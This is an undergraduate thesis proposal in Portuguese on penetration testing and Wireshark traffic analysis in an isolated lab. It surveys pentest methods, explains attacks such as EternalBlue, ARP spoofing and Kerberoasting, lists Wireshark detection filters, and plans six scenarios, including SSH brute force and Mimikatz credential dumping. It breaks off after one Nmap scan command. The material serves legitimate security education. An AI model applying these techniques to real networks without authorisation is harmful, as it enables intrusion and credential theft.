

UNIVERSIDADE DA REGIÃO DE JOINVILLE

Bacharelado em Engenharia de Software

Matheus Guilherme de Campos

Christiano Piccinin

**ANÁLISE E EXPLORAÇÃO DE VULNERABILIDADES EM REDES CORPORATIVAS UTILIZANDO
TÉCNICAS DE PENTEST E ANÁLISE DE TRÁFEGO COM WIRESHARK PARA DETECÇÃO DE
ATAQUES**

Joinville 2026

MATHEUS GUILHERME DE CAMPOS

Christiano Piccinin

**ANÁLISE E EXPLORAÇÃO DE VULNERABILIDADES EM REDES CORPORATIVAS UTILIZANDO
TÉCNICAS DE PENTEST E ANÁLISE DE TRÁFEGO COM WIRESHARK PARA DETECÇÃO DE
ATAQUES**

Trabalho de Conclusão de Curso-I apresentado ao Curso de Engenharia de Software, da Universidade da Região de Joinville, UNIVILLE, como requisito parcial para a aprovação na disciplina TCC 1, sob orientação do Professor Christiano Piccinin.

Joinville 2026

Resumo

As redes corporativas estão cada vez mais expostas a ameaças cibernéticas, exigindo profissionais capazes de identificar e mitigar vulnerabilidades de forma proativa. Este artigo apresenta um estudo teórico-prático da análise de vulnerabilidades em ambientes corporativos simulados, combinando metodologias de testes de penetração (pentest) com análise de tráfego de rede utilizando o Wireshark. Por meio de um ambiente laboratorial controlado composto por máquinas virtuais executando serviços intencionalmente vulneráveis, incluindo Metasploitable 2, DVWA e um Windows Server com SMBv1 habilitado, foram realizados ataques com ferramentas como Nmap, Metasploit Framework, Nessus e Hydra, com captura simultânea de tráfego para análise forense posterior. O MVP (Minimum Viable Product) proposto consiste em um ciclo documentado de ataque e detecção cobrindo reconhecimento, exploração e correlação de tráfego. Os resultados demonstram a efetividade da combinação entre pentest e análise de pacotes para a identificação de vetores de ataque, estabelecendo uma metodologia reproduzível para pesquisa acadêmica em cibersegurança.

Palavras chave: pentest; Wireshark; vulnerabilidades; redes corporativas; cibersegurança.

Abstract

Corporate networks are increasingly exposed to cyber threats, requiring professionals capable of identifying and mitigating vulnerabilities proactively. This paper presents a theoretical and practical study of vulnerability analysis in simulated corporate environments, combining penetration testing (pentest) methodologies with network traffic analysis using Wireshark. Through a controlled laboratory environment comprising virtual machines running intentionally vulnerable services, including Metasploitable 2, DVWA and a Windows Server with SMBv1 enabled, attacks were executed using tools such as Nmap, Metasploit Framework, Nessus and Hydra, with simultaneous traffic capture for posterior forensic analysis. The proposed MVP (Minimum Viable Product) consists of a fully documented attack-and-detect cycle covering reconnaissance, exploitation and traffic correlation. Results demonstrate the effectiveness of combining pentest and packet analysis for the identification of attack vectors, establishing a reproducible methodology for academic cybersecurity research.

Keywords: pentest; Wireshark; vulnerabilities; corporate networks; cybersecurity

Lista de Abreviaturas e Siglas

CIA	Confidentiality, Integrity and Availability
CVE	Common Vulnerabilities and Exposures
CVSS	Common Vulnerability Scoring System
DVWA	Damn Vulnerable Web Application
EDR	Endpoint Detection and Response
ENISA	European Union Agency for Cybersecurity
IDS	Intrusion Detection System
IPS	Intrusion Prevention System
LDAP	Lightweight Directory Access Protocol
MFA	Multi-Factor Authentication
MitM	Man-in-the-Middle
MVP	Minimum Viable Product
NIST	National Institute of Standards and Technology
NSE	Nmap Scripting Engine
OSINT	Open-Source Intelligence
OSSTMM	Open Source Security Testing Methodology Manual
OWASP	Open Web Application Security Project
PTES	Penetration Testing Execution Standard
SMB	Server Message Block
STRIDE	Spoofing, Tampering, Repudiation, Information Disclosure, DoS, Elevation of Privilege
TTP	Tactics, Techniques and Procedures
VLAN	Virtual Local Area Network
VM	Virtual Machine

SUMÁRIO

1	DEFINIÇÃO DO PROJETO	6
1.1	Tema	6
1.2	Justificativa	6
1.3	Objetivo Geral	6
1.4	Objetivos Específicos	6
2	REVISÃO DA LITERATURA	6
2.1	A Tríade CIA e Modelos de Ameaça	6
2.2	Defesa em Profundidade e Perímetro de Rede	7
2.3	Modelo Zero Trust	7
2.4	Metodologias de Pentest	8
2.4.1	PTES, Penetration Testing Execution Standard	8
2.4.2	OSSTMM, Open Source Security Testing Methodology Manual	8
2.4.3	NIST SP 800-115	8
2.4.4	OWASP Testing Guide	9
2.5	Ferramentas de Pentest	9
2.5.1	Nmap, Network Mapper	9
2.5.2	Metasploit Framework	9
2.5.3	Nessus	9
2.5.4	Hydra	10
2.6	Protocolos de Rede Inseguros e Vetores de Ataque	10
2.6.1	TCP/IP e Handshake de Três Vias	10
2.6.2	HTTP e Exposição de Credenciais	10
2.6.3	DNS e Ataques de Envenenamento	11
2.6.4	SMB e Vulnerabilidades em Compartilhamentos Windows	11
2.6.5	LDAP e Active Directory	11
2.6.6	ARP Spoofing e Ataques Man-in-the-Middle	11
2.7	Análise de Tráfego com Wireshark	12
2.7.1	Captura e Filtros	12
2.7.2	Análise Estatística e Identificação de Anomalias	12
2.7.3	Reconstrução de Fluxos e Extração de Artefatos	12
2.7.4	Identificação de Padrões Maliciosos Específicos	12
3	PROPOSTA E PROCEDIMENTOS METODOLÓGICOS	13
3.1	Caracterização do Delineamento de Pesquisa	13
3.2	Caracterização da Amostra	13
3.3	Técnicas e Ferramentas de Coleta de Dados	13
3.4	Técnicas e Ferramentas para Análise de Dados	14
3.5	Cronograma e Plano de Ação	14
4	MVP – PROJETO MÍNIMO VIÁVEL	14
4.1	Escopo e Regras de Engajamento	14
4.2	Fases do Pentest e Cenários de Teste	14
4.3	Cenário C1, Varredura de Rede com Nmap	15
4.4	Cenário C2, Scan de Vulnerabilidades com Nessus	15

4.5	Cenário C3, Exploração EternalBlue com Metasploit	16
4.6	Cenário C4, Força Bruta SSH com Hydra	16
4.7	Cenário C5, ARP Spoofing e Captura de Credenciais HTTP.	17
4.8	Cenário C6, Dump de Credenciais Pós-Exploração	17
4.9	Artefatos e ambiente Laboratorial	17
4.10	Resultados Esperados	18

1 DEFINIÇÃO DO PROJETO

1.1 Tema

O presente trabalho aborda a análise e exploração de vulnerabilidades em redes corporativas simuladas, com foco na combinação entre metodologias de *pentest* e análise de tráfego de rede utilizando o Wireshark, como estratégia para identificação proativa de vetores de ataque e proposição de contramedidas.

1.2 Justificativa

Segundo o relatório anual da Verizon sobre vazamentos de dados (Verizon Business, 2023), cujas causas incluem erros de configuração, uso indevido de privilégios e ataques de engenharia social, o custo mediano dos incidentes de ransomware com perda financeira reportada ao FBI aumentou para aproximadamente US\$ 26 mil. Esses dados mostram que a segurança de redes corporativas não é mais apenas um problema técnico e passou a ser uma questão de prioridade nas empresas pelo alto impacto financeiro e pela violação da privacidade de dados.

Nesse contexto, a prática do *pentest* (teste de penetração autorizado e controlado), utilizada em programas de recompensas como bug bounty, emerge como a abordagem para identificar de maneira proativa, as vulnerabilidades que as empresas possuem antes que um ataque real aconteça. Assim, combinada à análise de tráfego de rede, essa prática permite não apenas encontrar falhas, mas também compreender como um invasor se movimenta vertical e horizontalmente pela infraestrutura da organização, seja ela on-premises ou em nuvem, também identificando quais evidências deixa no tráfego de rede.

1.3 Objetivo Geral

Desenvolver um MVP (*Minimum Viable Product*) que demonstre, em ambiente laboratorial controlado, o ciclo completo de ataque e detecção em redes corporativas, combinando metodologias de *pentest* com análise de tráfego de rede utilizando o Wireshark.

1.4 Objetivos Específicos

- Implementar um ambiente laboratorial composto por máquinas virtualizadas, simulando um ambiente on-premises de uma organização, utilizando serviços intencionalmente vulneráveis para avaliar como os ataques podem escalar dentro do ambiente;
- Executar cenários de ataque abrangendo reconhecimento, exploração de vulnerabilidades já conhecidas e ainda não mitigadas por falta de atualizações de software ou controle de firewall;
- Correlacionar cada técnica de ataque com seu padrão de tráfego de rede no Wireshark mostrando como o monitoramento de rede pode identificar padrões de ataque;
- Mapear cada cenário à técnica correspondente no framework MITRE ATT&CK;
- Propor e validar contramedidas específicas para cada vetor de ataque identificado.

2 REVISÃO DA LITERATURA

2.1 A Tríade CIA e Modelos de Ameaça

A segurança da informação em redes corporativas é fundamentada na tríade *Confidentiality, Integrity and Availability* (CIA), que define os três pilares que qualquer solução de segurança deve preservar.

A confidencialidade garante que informações sejam acessíveis apenas a entidades autorizadas; a integridade assegura que dados não sejam modificados de forma não autorizada e a disponibilidade garante que sistemas e serviços permaneçam operacionais e acessíveis aos usuários legítimos, afinal nada adianta um sistema ser seguro se ele não está disponível para uso sempre que necessário.

A modelagem de ameaças (*threat modeling*) é a prática estruturada de identificar, classificar e priorizar as ameaças potenciais a um sistema. O processo envolve quatro perguntas fundamentais:

1. Em que estamos trabalhando?
2. O que pode dar errado?
3. O que faremos a respeito?
4. Fizemos um bom trabalho?

O modelo de ameaças STRIDE (acrônimo para *Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service* e *Elevation of Privilege*) é utilizado para categorizar ameaças em redes corporativas, mapeando cada categoria a controles específicos de mitigação. O NIST SP 800-53 expande essa visão fornecendo um catálogo de mais de mil controles de segurança organizados em famílias, servindo como referência para a implementação de segurança baseada em risco.

2.2 Defesa em Profundidade e Perímetro de Rede

O modelo de defesa em profundidade (*Defense in Depth*) recomenda a aplicação de múltiplas camadas de controle de segurança sobrepostas, de modo que a falha de um controle não comprometa toda a infraestrutura (Rose *et al.*, 2020). Em redes corporativas, esse conceito se traduz em uma arquitetura que combina controles de perímetro (*firewalls*, IDS/IPS e *gateways* de segurança), segmentação de rede (DMZ, VLANs e microsegmentação), controles de *endpoint* (antivírus, EDR e políticas de grupo) e controles de acesso (autenticação via servidor LDAP/RADIUS, uso de ZTNA e MFA).

A avaliação da postura de segurança de uma rede corporativa deve considerar não apenas as tecnologias implantadas, mas também a eficácia de sua configuração e a coerência entre as camadas. Um *firewall* mal configurado que permite tráfego SMBv1 de entrada, por exemplo, anula o investimento em detecção de *endpoint*, pois o atacante pode comprometer máquinas antes que qualquer agente de segurança entre em ação.

2.3 Modelo Zero Trust

O modelo de segurança Zero Trust, formalizado pelo NIST na publicação SP 800-207 (Rose *et al.*, 2020) e originalmente proposto pelo analista Forrester John Kindervag em 2010, representa uma evolução fundamental em relação ao paradigma de perímetro tradicional. O princípio central é que nenhuma entidade, seja ela, usuário, dispositivo ou serviço deve ser confiada automaticamente. As premissas fundamentais são: verificação explícita de identidade a cada acesso, concessão de acesso com privilégio mínimo necessário, e presunção de violação, assumindo que a rede já está comprometida. Isso se traduz em regras do tipo:

- Usuário só pode ingressar na rede caso valide suas credenciais;
- Computador não pode ingressar na rede caso seja identificado algum serviço de acesso remoto esteja ativo no sistema operacional.

O framework MITRE ATT&CK (MITRE Corporation, 2023) complementa o Zero Trust ao fornecer um mapeamento detalhado das táticas, técnicas e procedimentos (TTPs) utilizados por invasores, organizado em uma matriz com 14 fases táticas, desde o reconhecimento inicial até o impacto final. Este framework será utilizado para mapear cada ataque executado no laboratório a uma técnica catalogada, fornecendo contexto sobre a prevalência real da vulnerabilidade explorada.

2.4 Metodologias de Pentest

O teste de penetração é a prática de simular ataques cibernéticos de forma autorizada e controlada sobre um sistema, rede ou aplicação, com o objetivo de identificar vulnerabilidades exploráveis antes que agentes maliciosos o façam. Diferentemente de um *scanner* automatizado de vulnerabilidades, o pentest envolve raciocínio criativo, encadeamento de técnicas e exploração manual, aproximando-se do comportamento real de um atacante. A combinação de ferramentas automatizadas com julgamento humano tende a produzir resultados mais abrangentes do que qualquer abordagem isolada.

Um adendo as metodologias, atualmente as inteligências artificiais passaram a ser utilizadas como uma ferramenta para ampliar ainda mais a cobertura de testes, ajudando a identificar vulnerabilidades, mas este ainda é um campo muito novo e que está em desenvolvimento.

2.4.1 PTES, Penetration Testing Execution Standard

O PTES (Penetration Testing Execution Standard, 2014) é a metodologia mais amplamente adotada por profissionais de segurança ofensiva, estruturando o teste em sete fases: (1) *Pre-engagement Interactions*, definição de escopo, objetivos, regras de engajamento e autorizações legais; (2) *Intelligence Gathering*, coleta de informações por meios passivos (OSINT) e ativos; (3) *Threat Modeling*, mapeamento das ameaças mais prováveis; (4) *Vulnerability Analysis*, identificação e validação de vulnerabilidades; (5) *Exploitation*, exploração das falhas identificadas; (6) *Post-Exploitation*, avaliação do impacto do acesso obtido; e (7) *Reporting*, documentação detalhada de todas as descobertas com recomendações de remediação. A clareza dessas fases torna o PTES especialmente adequado para contextos acadêmicos, pois fornece um roteiro reproduzível e documentável (Scarfone *et al.*, 2008) e acaba sendo muito útil no muito corporativo como referencia no momento de criação de relatórios de segurança.

2.4.2 OSSTMM, Open Source Security Testing Methodology Manual

O OSSTMM, desenvolvido pelo ISECOM, diferencia-se das demais metodologias por seu foco em métricas quantitativas de segurança. A metodologia propõe a medição da superfície de ataque por meio de uma métrica chamada RAV (*Risk Assessment Values*), que pondera os vetores de acesso disponíveis ao atacante em cinco canais: físico, espectro de telecomunicações, redes de dados, comunicações sem fio e canal humano (engenharia social). A abordagem quantitativa do OSSTMM permite comparar a postura de segurança antes e após a aplicação de contramedidas, tornando-o complementar ao PTES neste trabalho. Este manual vem sendo atualizado e adaptado para integração com leis e políticas existentes o que apoia as auditorias de segurança que são feitas nas empresas.

2.4.3 NIST SP 800-115

O guia técnico do NIST (Scarfone *et al.*, 2008) classifica as técnicas de teste em três categorias: revisão de documentação e configuração, identificação e análise de alvos (varredura), e exploração de vulnerabilidades. O documento é especialmente valioso por seu foco em aspectos legais e éticos do pentest, incluindo a necessidade de autorização escrita, a importância de definir claramente o escopo e os proce-

dimentos para relatar descobertas críticas ao cliente durante o teste. Esses aspectos são integralmente adotados neste trabalho como parte das regras de engajamento do ambiente laboratorial.

2.4.4 OWASP Testing Guide

O Guia de Testes da OWASP (*OWASP Web Security Testing Guide*, versão 4.2) é a referência mais completa para testes de segurança em aplicações web, documentando mais de 90 testes específicos organizados em categorias como gerenciamento de identidade, autenticação, autorização, gestão de sessão e validação de entrada. No contexto deste trabalho, as técnicas de enumeração de serviços, teste de injeção SQL e XSS são aplicadas ao serviço DVWA do ambiente laboratorial, fornecendo um vetor de ataque à camada de aplicação web que complementa os ataques de rede.

2.5 Ferramentas de Pentest

2.5.1 Nmap, Network Mapper

O Nmap é a ferramenta padrão da indústria para descoberta de *hosts* e serviços em redes. Seu funcionamento baseia-se no envio de pacotes TCP, UDP e ICMP para a rede. O **SYN Scan** (-sS) envia pacotes TCP com a *flag* SYN e analisa as respostas: SYN/ACK indica porta aberta, RST indica fechada e ausência de resposta sugere filtragem por *firewall*. Por não completar o *handshake* TCP, esse tipo de varredura é menos detectável por sistemas de *log* convencionais. Na prática profissional, a combinação de múltiplas ferramentas de varredura, por exemplo, Nmap para descoberta de portas e serviços seguido de um *scanner* de vulnerabilidades dedicado, tende a resultar em maior cobertura na identificação de falhas em redes corporativas complexas, visto que os ataques tendem a iniciar com testes para verificar o status da comunicação das portas, identificando possíveis vetores de ataque muitas vezes já em vulnerabilidades conhecidas.

2.5.2 Metasploit Framework

O Metasploit Framework é a plataforma de exploração de vulnerabilidades mais utilizada no mundo, com mais de 2.000 módulos de *exploit* e 500 *payloads* disponíveis. Sua arquitetura modular é composta por *exploits* (código que aproveita uma vulnerabilidade específica, catalogado com referência ao CVE correspondente), *payloads* (código executado após a exploração, o Meterpreter fornece um *shell* interativo em memória com capacidades de *pivoting* e extração de *hashes*), módulos auxiliares (*scanners*, *fuzzers* e ferramentas de enumeração integradas) e módulos de pós-exploração (automação de atividades como extração de credenciais, escalonamento de privilégios e movimentação lateral).

O console interativo `msfconsole` permite orquestrar esses módulos de forma encadeada, simulando um ataque real. Por exemplo, um módulo auxiliar de *scanning* pode identificar hosts vulneráveis ao EternalBlue (National Institute of Standards and Technology, 2017), e o resultado alimenta automaticamente o módulo de *exploit* correspondente, demonstrando como atacantes automatizam o encadeamento de técnicas para acelerar o processo de invasão.

2.5.3 Nessus

O Nessus é um *scanner* de vulnerabilidades que identifica falhas de segurança por meio de *plugins* especializados. Ao detectar a versão de um software instalado, o Nessus consulta sua base de dados e correlaciona com entradas do NVD (*National Vulnerability Database*), classificando as vulnerabilidades por severidade com base no CVSS (*Common Vulnerability Scoring System*). O CVSS v3.1 pontua vulnerabilidades de 0 a 10, considerando métricas de base (vetor de ataque, complexidade, privilégios necessários,

interação do usuário e impacto na CIA), métricas temporais (exploitabilidade atual e nível de remediação) e métricas ambientais (personalizáveis por organização). O estudo comparativo de (Sowmyashree; Guruprasad, 2020) mostrou que o Nessus apresenta cobertura de CVE superior à do OpenVAS e tempo de varredura significativamente menor, tornando-o a escolha preferível para a fase de reconhecimento de vulnerabilidades neste trabalho, por isso acaba sendo uma ferramenta essencial para empresas que prestam serviços de segurança seja no blue team (time de defesa) ou no red team (time de ataque).

2.5.4 Hydra

O Hydra é uma ferramenta de ataque a mecanismos de autenticação por força bruta e dicionário, suportando paralelismo em múltiplos serviços simultaneamente, incluindo SSH, RDP, SMB, HTTP, FTP e LDAP (protocolos mais utilizados por sistemas corporativos). Seu funcionamento consiste em testar sistematicamente combinações de credenciais a partir de *wordlists*. A pesquisa de (Stiawan *et al.*, 2019) analisou padrões de ataques de força bruta contra o serviço FTP em uma rede IoT e identificou uma assinatura temporal característica desses ataques, tentativas de autenticação em rápida sucessão, a intervalos regulares e curtos, partindo de um mesmo *host* de origem. Esse comportamento gera um padrão característico no tráfego de rede que é claramente visível na análise com Wireshark ou outras ferramentas de monitoramento e até mesmo nos firewalls, caso o tráfego lateral esteja sendo inspecionado.

2.6 Protocolos de Rede Inseguros e Vetores de Ataque

A análise de protocolos de rede é fundamental tanto para a execução de ataques quanto para sua detecção. A compreensão profunda do funcionamento de cada protocolo, da camada de transporte até a camada de aplicação, permite ao analista distinguir tráfego legítimo de malicioso, é a base para identificar novas vulnerabilidades.

2.6.1 TCP/IP e Handshake de Três Vias

O protocolo TCP (Postel, 1981) estabelece conexões por meio de um *handshake* de três vias: o cliente envia um segmento SYN com um número de sequência aleatório (ISN, *Initial Sequence Number*), o servidor responde com SYN/ACK reconhecendo o ISN do cliente e enviando seu próprio ISN, e o cliente confirma com ACK. Esse mecanismo é a base para diversas técnicas de ataque. O **SYN Flood** explora o fato de que o servidor aloca recursos para cada SYN recebido antes de completar o *handshake*: ao enviar massivamente pacotes SYN com IPs forjados sem completar a conexão, o atacante esgota a tabela de conexões semi-abertas do servidor, causando negação de serviço.

2.6.2 HTTP e Exposição de Credenciais

O protocolo HTTP (atualmente especificado pela RFC 9110, que substituiu a RFC 2616) transmite dados sem criptografia, tornando-o vulnerável a ataques de interceptação. Credenciais enviadas via formulários HTTP (método POST), *cookies* de sessão sem as *flags* *Secure* e *HttpOnly*, e autenticação básica codificada em Base64 são facilmente capturáveis com ferramentas como o Wireshark. A codificação Base64 é frequentemente confundida com criptografia: a cadeia `dXNlcjpwZW5oYQ==` decodifica trivialmente para `user:senha`, o que muitos desenvolvedores ignoram ao implementar autenticação básica HTTP. Em redes corporativas onde o HTTPS não é enforçado em todos os sistemas internos, esse vetor representa risco crítico, pois um atacante posicionado entre o cliente e o servidor via ARP Spoofing intercepta todas as credenciais sem qualquer ferramenta sofisticada, este ataque é conhecido como Man-in-the-middle por ele ser o "homem no meio da comunicação".

2.6.3 DNS e Ataques de Envenenamento

O DNS (*Domain Name System*, RFC 1035) é um alvo atraente por sua natureza distribuída e pela ausência de autenticação nas implementações tradicionais (sem DNSSEC). O **DNS Cache Poisoning** consiste na inserção de respostas DNS falsas no cache de um servidor resolvidor, redirecionando usuários a endereços maliciosos que muitas das vezes replicam exatamente a tela de login da página que o usuário está tentando se autenticar, mas que está rodando no servidor do atacante, uma vez que o usuário insere suas credenciais, o servidor armazena estes dados e redireciona o usuário para a página real do serviço. O usuário entende que digitou a senha incorreta e faz a autenticação sem nem perceber que enviou os dados para um servidor de um hacker.

2.6.4 SMB e Vulnerabilidades em Compartilhamentos Windows

O protocolo SMB é central em redes Windows e historicamente associado a vulnerabilidades críticas. A CVE-2017-0144 (National Institute of Standards and Technology, 2017), explorada pelo *exploit* EternalBlue, permite execução remota de código sem autenticação em sistemas com SMBv1 habilitado. A vulnerabilidade é causada por um *buffer overflow* no componente `srv.sys` do Windows ao processar uma requisição `Transaction2` malformada. O EternalBlue foi amplamente utilizado nos *ransomwares* Wanna-Cry (2017) e NotPetya (2017), que são amplamente reconhecidos como dois dos incidentes de segurança mais custosos já registrados, com perdas globais estimadas em bilhões de dólares. Outros vetores SMB relevantes incluem o **Pass-the-Hash** (uso de *hashes* NTLM capturados para autenticação sem conhecimento da senha em texto claro) e o **relay de NTLM** (interceptação e reencaminhamento de desafios de autenticação NTLM para terceiros).

2.6.5 LDAP e Active Directory

O LDAP (RFC 4511) é o protocolo subjacente ao Active Directory (AD), o serviço de diretório mais utilizado em ambientes corporativos Windows. O AD armazena informações sobre usuários, grupos, computadores e políticas de segurança da organização. O **null bind**, autenticação anônima habilitada no servidor LDAP, permite enumeração de usuários, grupos e estrutura organizacional sem credenciais, fornecendo ao atacante um mapa completo da organização. O **Kerberoasting** consiste em solicitar *tickets* de serviço Kerberos para contas com SPNs registrados e realizar a quebra do *hash* RC4 offline, aproveitando que qualquer usuário autenticado pode solicitar esses *tickets*. O **AS-REP Roasting** explora contas configuradas sem pré-autenticação Kerberos, obtendo *hashes* quebráveis offline sem nem mesmo precisar de uma conta válida no domínio.

2.6.6 ARP Spoofing e Ataques Man-in-the-Middle

O protocolo ARP (Plummer, 1982) opera sem mecanismos de autenticação: qualquer host pode enviar uma resposta ARP gratuitamente, mesmo sem ter recebido uma solicitação. No **ARP Spoofing**, o atacante envia respostas ARP falsas associando seu endereço MAC ao IP do gateway padrão da rede, fazendo com que o tráfego de saída das vítimas seja roteado por sua máquina. Ao mesmo tempo, anuncia ao gateway que o endereço MAC correspondente ao IP da vítima é o dele, completando o redirecionamento bidirecional. Isso viabiliza ataques *Man-in-the-Middle* (MitM), possibilitando captura de credenciais em protocolos não criptografados, injeção de conteúdo malicioso em sessões HTTP e *SSL Stripping* (rebaixamento de conexões HTTPS para HTTP quando o HSTS não está configurado). O **filtro de exibição** `arp.duplicate-address-detected` no Wireshark detecta esse ataque ao identificar dois endereços MAC diferentes respondendo ao mesmo IP em curto intervalo de tempo.

2.7 Análise de Tráfego com Wireshark

O Wireshark é o analisador de protocolos de rede mais utilizado no mundo (Wireshark Foundation, 2023). A análise de pacotes (*packet analysis*) é uma habilidade fundamental para qualquer profissional de segurança de redes, pois oferece visibilidade completa sobre o que realmente trafega na rede, independentemente de *logs* de aplicação que podem ser adulterados ou incompletos. A captura de tráfego de rede é frequentemente apontada como uma das poucas fontes de evidência forense que o atacante raramente consegue apagar ou manipular após o fato.

2.7.1 Captura e Filtros

O Wireshark opera em modo promíscuo, capturando todos os pacotes que chegam à interface de rede, e não apenas os endereçados ao *host* local (Wireshark Foundation, 2023). Em ambientes comutados (*switches*), a captura promíscua requer posicionamento principamente no uplink dos switches core do ambiente para capturar todos os pacotes que estão sendo trafegados na rede.

Os **filtros de captura** (BPF, *Berkeley Packet Filter*) são aplicados em tempo real durante a captura, reduzindo o volume de dados coletados. Por exemplo: `host 192.168.1.100 and port 445` captura apenas tráfego SMB de um *host* específico. Já os **filtros de exibição** são aplicados após a captura e permitem expressões complexas como `tcp.flags.syn == 1 && tcp.flags.ack == 0` para identificar o início de conexões TCP (útil na detecção de *port scanning*). Filtros relevantes para este trabalho incluem `arp.duplicate-address-detected` (ARP Spoofing), `http contains "password"` (credenciais em claro), `dns.qry.type == 16` (DNS Tunneling via consultas TXT) e `smb2.cmd == 0x0005` (negociações SMBv2).

2.7.2 Análise Estatística e Identificação de Anomalias

Além da inspeção pacote a pacote, o Wireshark fornece ferramentas estatísticas que permitem identificar padrões anômalos no tráfego. O **Protocol Hierarchy** exibe a distribuição percentual de protocolos capturados: volume incomum de ICMP ou UDP pode indicar varreduras; tráfego SMBv1 significativo em uma rede moderna é um sinal de alerta imediato. As **Conversations** listam todas as comunicações entre pares de *hosts*, permitindo identificar quais sistemas se comunicam com maior volume e com maior número de destinos distintos, comportamento típico de *port scanning* ou movimentação lateral.

2.7.3 Reconstrução de Fluxos e Extração de Artefatos

A funcionalidade *Follow TCP/UDP Stream* permite reconstruir sessões completas de comunicação a partir dos pacotes capturados, sendo especialmente útil para recuperar credenciais em texto claro via HTTP, FTP ou Telnet; analisar comandos executados em sessões de *shell* reverso estabelecidas pelo Metasploit; e identificar a comunicação entre *malware* e infraestrutura de C2. A função *Export Objects* complementa essa análise ao extrair arquivos transferidos durante sessões capturadas, imagens, executáveis e documentos transmitidos via HTTP ou SMB podem ser recuperados integralmente dos pacotes, fornecendo evidências forenses cruciais.

2.7.4 Identificação de Padrões Maliciosos Específicos

A literatura especializada em forense de rede estabelece assinaturas comportamentais no tráfego associadas a técnicas de ataque específicas. Um **port scanning** por SYN gera um grande volume de pacotes SYN para múltiplas portas de um mesmo *host* de origem em curto intervalo, com respostas RST da maioria dos destinos, o filtro `tcp.flags.syn == 1 && tcp.flags.ack == 0` isola esses pacotes para quantificação. Um **ataque de força bruta** contra SMB gera múltiplas negociações de protocolo seguidas

de falhas de autenticação em rápida sucessão, visíveis pelo filtro `ntlmssp.auth.username`. A exploração **EternalBlue** gera uma sequência característica de negociação SMBv1 seguida de uma *Transaction2* mal-formada com *payload* de tamanho anômalo. Sessões **Meterpreter sobre HTTPS** produzem conexões para endereços IP externos com intervalos de *keepalive* regulares e tráfego bidirecional em padrão atípico para navegação web normal.

3 PROPOSTA E PROCEDIMENTOS METODOLÓGICOS

A metodologia proposta para o MVP deste trabalho é derivada do PTES (Penetration Testing Execution Standard, 2014) e do NIST SP 800-115 (Scarfone *et al.*, 2008), adaptada para o contexto acadêmico com foco na reprodutibilidade e na documentação rigorosa de evidências. O MVP define um conjunto mínimo e suficiente de ataques que demonstram o ciclo completo de pentest e correlação com tráfego Wireshark, cobrindo as TTPs de maior relevância para redes corporativas.

3.1 Caracterização do Delineamento de Pesquisa

O delineamento adotado é experimental, com abordagem quantitativa e qualitativa combinadas. A pesquisa é de natureza exploratória e descritiva: exploratória na construção do ambiente laboratorial e na execução de ataques controlados; descritiva na documentação dos padrões de tráfego identificados e na correlação com técnicas MITRE ATT&CK.

- Pesquisa quantitativa: métricas de desempenho das ferramentas (tempo de varredura, pacotes capturados, taxa de sucesso dos ataques);
- Pesquisa qualitativa: análise forense dos arquivos `.pcapng` e interpretação dos padrões de tráfego;
- Experimento computacional: execução dos seis cenários de ataque em ambiente virtualizado controlado.

3.2 Caracterização da Amostra

O ambiente experimental é composto por um firewall fortigate para controle de tráfego e máquinas virtuais (VMs) operando em uma rede interna isolada, provisionada por um virtualizador. Os alvos foram selecionados por representatividade: o Metasploitable 2 simula serviços Linux com vulnerabilidades conhecidas, o Windows Server 2008 R2 representa o vetor SMBv1/EternalBlue, e o Ubuntu com DVWA representa aplicações web em HTTP sem TLS.

3.3 Técnicas e Ferramentas de Coleta de Dados

- Varredura de rede com Nmap (descoberta de hosts, detecção de versões e scripts NSE de enumeração);
- Scan de vulnerabilidades com Nessus Essentials (geração de relatório com classificação CVSS);
- Exploração com Metasploit Framework (módulo EternalBlue, payload Meterpreter);
- Ataque de força bruta com Hydra contra serviço SSH;
- ARP Spoofing com `arpspoof` e captura de credenciais HTTP com Wireshark;
- Dump de credenciais pós-exploração com módulo Kiwi (Mimikatz) via Meterpreter;

- Captura de tráfego contínua em formato `.pcapng` por cenário.

3.4 Técnicas e Ferramentas para Análise de Dados

- Análise de filtros de exibição no Wireshark para isolamento dos padrões de tráfego de cada ataque;
- Análise estatística via *Protocol Hierarchy*, *Conversations*, *IO Graph* e *Endpoints* do Wireshark;
- Reconstrução de fluxos com *Follow TCP/UDP Stream* e extração de artefatos com *Export Objects*;
- Correlação de cada padrão identificado com a técnica MITRE ATT&CK correspondente, documentada em planilha de rastreabilidade.

3.5 Cronograma e Plano de Ação

Quadro 1,- Cronograma de atividades 2026

Período	Atividade
01/02/2025 a 28/02/2025	CAPÍTULO 1 – Definição do Projeto
01/03/2025 a 31/03/2025	CAPÍTULO 2 – Revisão da Literatura
01/04/2025 a 30/04/2025	CAPÍTULO 3 – Proposta e Procedimentos Metodológicos
01/05/2025 a 30/06/2025	CAPÍTULO 4 – MVP – Projeto Mínimo Viável

4 MVP – PROJETO MÍNIMO VIÁVEL

4.1 Escopo e Regras de Engajamento

O escopo do MVP é restrito exclusivamente ao ambiente laboratorial descrito na Seção 3.2, operando em rede isolada sem acesso à Internet ou a sistemas reais. As regras de engajamento estabelecem que:

- Todos os ataques são executados a partir da VM Kali Linux sobre alvos pré-definidos (Metasploitable 2, Windows Server 2008, Ubuntu com DVWA) simulando um hacker que tenha obtido acesso a rede de servidores de uma empresa e iniciou as buscas por vulnerabilidades;
- O Wireshark permanece ativo em modo de captura contínua durante toda a execução, gerando um arquivo `.pcapng` por cenário de ataque;
- Cada ataque é documentado com: comando exato executado, *timestamp*, saída obtida e *screenshot* do terminal;
- O ambiente é restaurado a partir de *snapshot* antes de cada novo cenário, garantindo isolamento entre os testes.

4.2 Fases do Pentest e Cenários de Teste

A Tabela 1 apresenta os seis cenários de teste que compõem o MVP, organizados pelas fases do PTES.

Tabela 1: Cenários de teste do MVP organizados por fase PTES

Fase PTES	Cenário	Ferramenta	Alvo
Intelligence Gathering	C1: Varredura de rede	Nmap	Toda a sub-rede
Vulnerability Analysis	C2: Scan de vuln.	Nessus	Windows Server 2008
Exploitation	C3: EternalBlue	Metasploit	Windows Server 2008
Exploitation	C4: Força bruta SSH	Hydra	Metasploitable 2
Exploitation	C5: ARP Spoofing + captura HTTP	arp spoof + Wireshark	Ubuntu (DVWA)
Post-Exploitation	C6: Dump de credenciais	Metasploit (Mimikatz)	Windows Server 2008

4.3 Cenário C1, Varredura de Rede com Nmap

Objetivo: Mapear *hosts* ativos, portas abertas e versões de serviços na sub-rede laboratorial, simulando a fase de reconhecimento de um atacante externo que acaba de obter acesso à rede.

Comandos:

```

1 nmap -sn 192.168.56.0/24 -oN recon/hosts_ativos.txt
2
